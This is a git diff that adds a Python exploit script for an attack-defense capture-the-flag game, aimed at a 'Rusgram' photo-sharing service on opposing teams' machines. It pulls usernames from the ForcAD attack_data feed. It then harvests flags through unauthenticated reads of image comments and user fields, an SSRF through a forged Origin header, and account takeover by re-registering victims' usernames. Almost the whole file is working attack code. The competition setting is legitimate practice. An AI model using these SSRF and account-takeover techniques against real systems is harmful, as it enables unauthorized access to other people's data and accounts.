diff --git a/sploits/rusgram_attack_data.py b/sploits/rusgram_attack_data.py new file mode 100755 index 0000000..b42d157 --- /dev/null +++ b/sploits/rusgram_attack_data.py @@ -0,0 +1,278 @@ +#!/usr/bin/env python3 +""" +Rusgram — targeted steal по ForcAD attack_data + всегда-активный сбор +флагов из комментариев к картинкам (:38002/images/N, без auth — как в перехвате). + +Флаги живут в comments картинок и в полях msg / first_name / email жертвы. + +Не дублирует rusgram_sploit.py (энумерация+RCE) и rusgram_ssti_flagrake.py +(grep по ФС): здесь нет слепого ls/grep — только имена из ленты. + + ./start_sploit.py rusgram_attack_data.py + python3 rusgram_attack_data.py [PORT] +""" +import json +import os +import random +import re +import string +import sys + +import requests + +FLAG_RX = re.compile(r"[A-Z0-9]{31}=") +IP_RX = re.compile(r"^\d{1,3}(?:\.\d{1,3}){3}$") +TIMEOUT = 4 + +PROXY_PORT = 38000 +DB_PORT = 38002 +CONTENT_PORT = 38004 + +ATTACK_DATA_URL = os.environ.get( + "ATTACK_DATA_URL", "http://10.10.10.253:80/api/client/attack_data") +SERVICE_HINTS = ("rusgram", "gram", "instagram") +USER_KEYS = ("username", "login", "user", "name", "login_name", "public") +FIELDS = ("msg", "first_name", "second_name", "email") +MAX_USERS = 40 + + +def _rnd(n=10): + return "".join(random.choices(string.ascii_lowercase, k=n)) + + +def _log(msg): + print(f"[*] {msg}", file=sys.stderr, flush=True) + + +def _looks_username(s): + if not isinstance(s, str): + return False + s = s.strip() + if not s or len(s) > 64 or len(s) < 1: + return False + if FLAG_RX.fullmatch(s) or IP_RX.fullmatch(s): + return False + if s.startswith("http://") or s.startswith("https://"): + return False + if any(c in s for c in " \t\r\n/\\"): + return False + return True + + +def _harvest(node, out): + if node is None: + return + if isinstance(node, str): + raw = node.strip() + if raw.startswith("{") or raw.startswith("["): + try: + _harvest(json.loads(raw), out) + return + except ValueError: + pass + if _looks_username(raw): + out.append(raw) + return + if isinstance(node, (int, float, bool)): + return + if isinstance(node, list): + for x in node: + _harvest(x, out) + return + if isinstance(node, dict): + for k, v in node.items(): + lk = str(k).lower() + if lk in USER_KEYS and isinstance(v, str) and _looks_username(v): + out.append(v.strip()) + else: + _harvest(v, out) + + +def get_attack_data(target_ip): + """ForcAD: {service: {ip|team_id: [hints...]}} — берём хинты своей цели.""" + try: + r = requests.get(ATTACK_DATA_URL, timeout=3) + r.raise_for_status() + data = r.json() + except (requests.RequestException, ValueError) as e: + _log(f"attack_data: {e}") + return [] + + if not isinstance(data, dict): + return [] + + team_id = target_ip.rsplit(".", 1)[-1] + scoped = [] + + def scope(node): + if not isinstance(node, dict): + return + for key, val in node.items(): + k = str(key) + if k == target_ip or k == team_id: + scoped.append(val) + elif any(h in k.lower() for h in SERVICE_HINTS): + if isinstance(val, dict): + scope(val) + else: + scoped.append(val) + + scope(data) + if not scoped: + scoped.append(data.get(target_ip) or data.get(team_id) or []) + + users = [] + for node in scoped: + _harvest(node, users) + + # newest last in ForcAD → бьём свежие флаги первыми + seen, ordered = set(), [] + for u in reversed(users): + if u not in seen: + seen.add(u) + ordered.append(u) + ordered = ordered[:MAX_USERS] + _log(f"attack_data: {len(ordered)} users for {target_ip}") + return ordered + + +def _pull_flags(text, flags): + if not text: + return + flags |= set(FLAG_RX.findall(text)) + + +def steal_images(ip, flags): + """Главный рабочий вектор (см. перехват): флаги в comments картинок. + Не нужны ни имена, ни attack_data — просто читаем :38002/images/1..16.""" + d = f"http://{ip}:{DB_PORT}" + before = len(flags) + for i in range(1, 17): + try: + r = requests.get(f"{d}/images/{i}", timeout=TIMEOUT) + _pull_flags(r.text, flags) + except requests.RequestException: + break + # тот же ресурс через content-ноду, если 38002 прикрыт, а 38004 нет + c = f"http://{ip}:{CONTENT_PORT}" + for i in range(1, 17): + try: + r = requests.get(f"{c}/images/{i}", timeout=TIMEOUT) + _pull_flags(r.text, flags) + except requests.RequestException: + break + if len(flags) > before: + _log(f"images : +{len(flags) - before}") + + +def steal_db(ip, users, flags): + d = f"http://{ip}:{DB_PORT}" + before = len(flags) + for u in users: + for field in FIELDS: + try: + r = requests.get(f"{d}/users/{u}/{field}", timeout=TIMEOUT) + _pull_flags(r.text, flags) + except requests.RequestException: + return + if len(flags) > before: + _log(f"db : +{len(flags) - before}") + + +def steal_content(ip, users, flags): + c = f"http://{ip}:{CONTENT_PORT}" + before = len(flags) + for u in users: + try: + r = requests.get(f"{c}/db/users/{u}", timeout=TIMEOUT) + _pull_flags(r.text, flags) + except requests.RequestException: + return + if len(flags) > before: + _log(f"content : +{len(flags) - before}") + + +def steal_ssrf(base, users, flags): + actor, pwd = _rnd(), _rnd() + try: + requests.post(f"{base}/api/register", + json={"login": actor, "password": pwd}, timeout=TIMEOUT) + except requests.RequestException: + return + before = len(flags) + for u in users: + for field in FIELDS: + try: + r = requests.post( + f"{base}/api/send_msg", json={"msg": "x"}, + cookies={"session": f"{actor}||WRONGPASS"}, + headers={"Origin": f"http://database:5002/users/{u}/{field}?x="}, + timeout=TIMEOUT) + _pull_flags(r.text, flags) + except requests.RequestException: + return + if len(flags) > before: + _log(f"ssrf : +{len(flags) - before}") + + +def steal_ato(base, users, flags): + before = len(flags) + for u in users: + pwd = _rnd() + try: + r = requests.post(f"{base}/api/register", + json={"login": u, "password": pwd}, timeout=TIMEOUT) + if r.status_code != 200: + continue + r = requests.get(f"{base}/", cookies={"session": f"{u}||{pwd}"}, + timeout=TIMEOUT) + _pull_flags(r.text, flags) + except requests.RequestException: + continue + if len(flags) > before: + _log(f"ato : +{len(flags) - before}") + + +def exploit(target_ip, port=None): + proxy_port = int(port) if port else PROXY_PORT + base = f"http://{target_ip}:{proxy_port}" + flags = set() + + # 1) always-on: флаги в комментах картинок, attack_data не нужен + steal_images(target_ip, flags) + + # 2) targeted: если attack_data доступен — добираем поля юзеров + users = get_attack_data(target_ip) + if users: + steal_db(target_ip, users, flags) + steal_content(target_ip, users, flags) + steal_ssrf(base, users, flags) + steal_ato(base, users, flags) + return flags + + +def start_sploit(ip, port=None): + return exploit(ip, port) + + +def sploit(ip, port=None): + return exploit(ip, port) + + +def main(): + if len(sys.argv) < 2: + print(f"Usage: {sys.argv[0]} [port]", file=sys.stderr, flush=True) + sys.exit(1) + target_ip = sys.argv[1] + port = sys.argv[2] if len(sys.argv) > 2 else None + try: + for flag in exploit(target_ip, port) or []: + clean = str(flag).strip() + if FLAG_RX.fullmatch(clean): + print(clean, flush=True) + except Exception as e: + print(f"[-] Exploit error for {target_ip}: {e}", file=sys.stderr, flush=True) + + +if __name__ == "__main__": + main() diff --git a/sploits/rusgram_ssti_flagrake.py b/sploits/rusgram_ssti_flagrake.py old mode 100644 new mode 100755